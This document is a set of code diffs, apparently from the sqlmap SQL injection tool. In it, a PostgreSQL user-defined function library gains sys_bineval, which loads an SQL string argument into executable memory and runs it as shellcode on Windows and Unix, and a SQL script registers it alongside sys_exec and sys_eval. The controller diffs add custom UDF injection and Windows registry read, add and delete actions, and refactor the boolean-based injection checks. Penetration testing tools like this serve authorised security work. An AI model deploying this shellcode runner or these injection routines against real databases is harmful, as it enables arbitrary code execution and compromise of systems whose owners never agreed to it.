@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -21,3 +21,4 @@
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
||||
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -109,3 +118,75 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
|
||||
License: PSF (http://www.python.org/psf/license/)
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os.path
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
@@ -42,7 +40,6 @@ class Magic:
|
||||
|
||||
magic_load(self.cookie, magic_file)
|
||||
|
||||
|
||||
def from_buffer(self, buf):
|
||||
"""
|
||||
Identify the contents of `buf`
|
||||
@@ -66,7 +63,6 @@ class Magic:
|
||||
except Exception, _:
|
||||
pass
|
||||
|
||||
|
||||
_magic_mime = None
|
||||
_magic = None
|
||||
|
||||
@@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
|
||||
m = _get_magic_type(mime)
|
||||
return m.from_buffer(buffer)
|
||||
|
||||
|
||||
|
||||
try:
|
||||
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||
|
||||
@@ -132,17 +126,14 @@ try:
|
||||
magic_file.argtypes = [magic_t, c_char_p]
|
||||
magic_file.errcheck = errorcheck
|
||||
|
||||
|
||||
_magic_buffer = libmagic.magic_buffer
|
||||
_magic_buffer.restype = c_char_p
|
||||
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||
_magic_buffer.errcheck = errorcheck
|
||||
|
||||
|
||||
def magic_buffer(cookie, buf):
|
||||
return _magic_buffer(cookie, buf, len(buf))
|
||||
|
||||
|
||||
magic_load = libmagic.magic_load
|
||||
magic_load.restype = c_int
|
||||
magic_load.argtypes = [magic_t, c_char_p]
|
||||
@@ -162,7 +153,6 @@ try:
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
MAGIC_NONE = 0x000000 # No flags
|
||||
|
||||
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||
|
||||
@@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import mimetools
|
||||
import mimetypes
|
||||
import os
|
||||
@@ -39,7 +37,6 @@ class Callable:
|
||||
def __init__(self, anycallable):
|
||||
self.__call__ = anycallable
|
||||
|
||||
|
||||
# Controls how sequences are uncoded. If true, elements may be given
|
||||
# multiple values by assigning a sequence.
|
||||
doseq = 1
|
||||
@@ -50,9 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.get_data()
|
||||
|
||||
if data is not None and type(data) != str:
|
||||
v_files = []
|
||||
v_vars = []
|
||||
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
@@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
request.add_data(data)
|
||||
return request
|
||||
|
||||
|
||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||
if boundary is None:
|
||||
boundary = mimetools.choose_boundary()
|
||||
|
||||
if buffer is None:
|
||||
buffer = ''
|
||||
|
||||
for(key, value) in vars:
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buffer += '\r\n\r\n' + value + '\r\n'
|
||||
|
||||
for(key, fd) in files:
|
||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||
filename = fd.name.split('/')[-1]
|
||||
@@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||
fd.seek(0)
|
||||
buffer += '\r\n' + fd.read() + '\r\n'
|
||||
|
||||
buffer += '--%s--\r\n\r\n' % boundary
|
||||
|
||||
return boundary, buffer
|
||||
|
||||
multipart_encode = Callable(multipart_encode)
|
||||
|
||||
https_request = http_request
|
||||
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
def action():
|
||||
"""
|
||||
This function exploit the SQL injection on the affected
|
||||
@@ -125,6 +122,10 @@ def action():
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# User-defined function options
|
||||
if conf.udfInject:
|
||||
conf.dbmsHandler.udfInjectCustom()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||
@@ -148,6 +149,16 @@ def action():
|
||||
if conf.osBof:
|
||||
conf.dbmsHandler.osBof()
|
||||
|
||||
# Windows registry options
|
||||
if conf.regRead:
|
||||
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||
|
||||
if conf.regAdd:
|
||||
conf.dbmsHandler.regAdd()
|
||||
|
||||
if conf.regDel:
|
||||
conf.dbmsHandler.regDel()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
@@ -39,7 +37,6 @@ from lib.core.session import setString
|
||||
from lib.core.session import setRegexp
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
"""
|
||||
This function checks if the GET, POST, Cookie, User-Agent
|
||||
@@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming custom injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "custom injectable "
|
||||
logger.info(infoMsg)
|
||||
@@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming unescaped numeric injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "unescaped numeric injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming LIKE single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == True:
|
||||
if trueResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "confirming LIKE double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != True:
|
||||
if not falseResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the url parameter is dynamic. If it is
|
||||
@@ -279,7 +275,6 @@ def checkDynParam(place, parameter, value):
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkStability():
|
||||
"""
|
||||
This function checks if the URL content is stable requesting the
|
||||
@@ -300,13 +295,13 @@ def checkStability():
|
||||
|
||||
condition = firstPage == secondPage
|
||||
|
||||
if condition == True:
|
||||
if condition:
|
||||
conf.md5hash = md5hash(firstPage)
|
||||
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
|
||||
elif condition == False:
|
||||
elif not condition:
|
||||
warnMsg = "url is not stable, sqlmap will base the page "
|
||||
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||
warnMsg += "injectable parameters are detected, refer to user's "
|
||||
@@ -315,8 +310,6 @@ def checkStability():
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkString():
|
||||
if not conf.string:
|
||||
return True
|
||||
@@ -347,7 +340,6 @@ def checkString():
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkRegexp():
|
||||
if not conf.regexp:
|
||||
return True
|
||||
@@ -379,7 +371,6 @@ def checkRegexp():
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkConnection():
|
||||
infoMsg = "testing connection to the target url"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
@@ -33,6 +31,7 @@ from lib.controller.checks import checkRegexp
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeCookie
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -42,7 +41,6 @@ from lib.core.target import createTargetDirs
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.utils.parenthesis import checkForParenthesis
|
||||
|
||||
|
||||
def __selectInjection(injData):
|
||||
"""
|
||||
Selection function for injection place, parameters and type.
|
||||
@@ -83,7 +81,6 @@ def __selectInjection(injData):
|
||||
|
||||
return injData[index]
|
||||
|
||||
|
||||
def start():
|
||||
"""
|
||||
This function calls a function that performs checks on both URL
|
||||
@@ -137,39 +134,42 @@ def start():
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
createTargetDirs()
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString() or not checkRegexp():
|
||||
continue
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
if not conf.dropSetCookie:
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
|
||||
__paramDict = paramToDict("Cookie", cookieStr)
|
||||
if setCookieAsInjectable:
|
||||
safeCookie = sanitizeCookie(cookieStr)
|
||||
conf.httpHeaders.append(("Cookie", safeCookie))
|
||||
conf.parameters["Cookie"] = safeCookie
|
||||
__paramDict = paramToDict("Cookie", safeCookie)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||
@@ -200,7 +200,7 @@ def start():
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
if testSqlInj == True:
|
||||
if testSqlInj:
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
@@ -246,20 +246,16 @@ def start():
|
||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
condition = False
|
||||
|
||||
if conf.multipleTargets:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
if not exploit or exploit[0] in ("y", "Y"):
|
||||
condition = True
|
||||
condition = not exploit or exploit[0] in ("y", "Y")
|
||||
else:
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
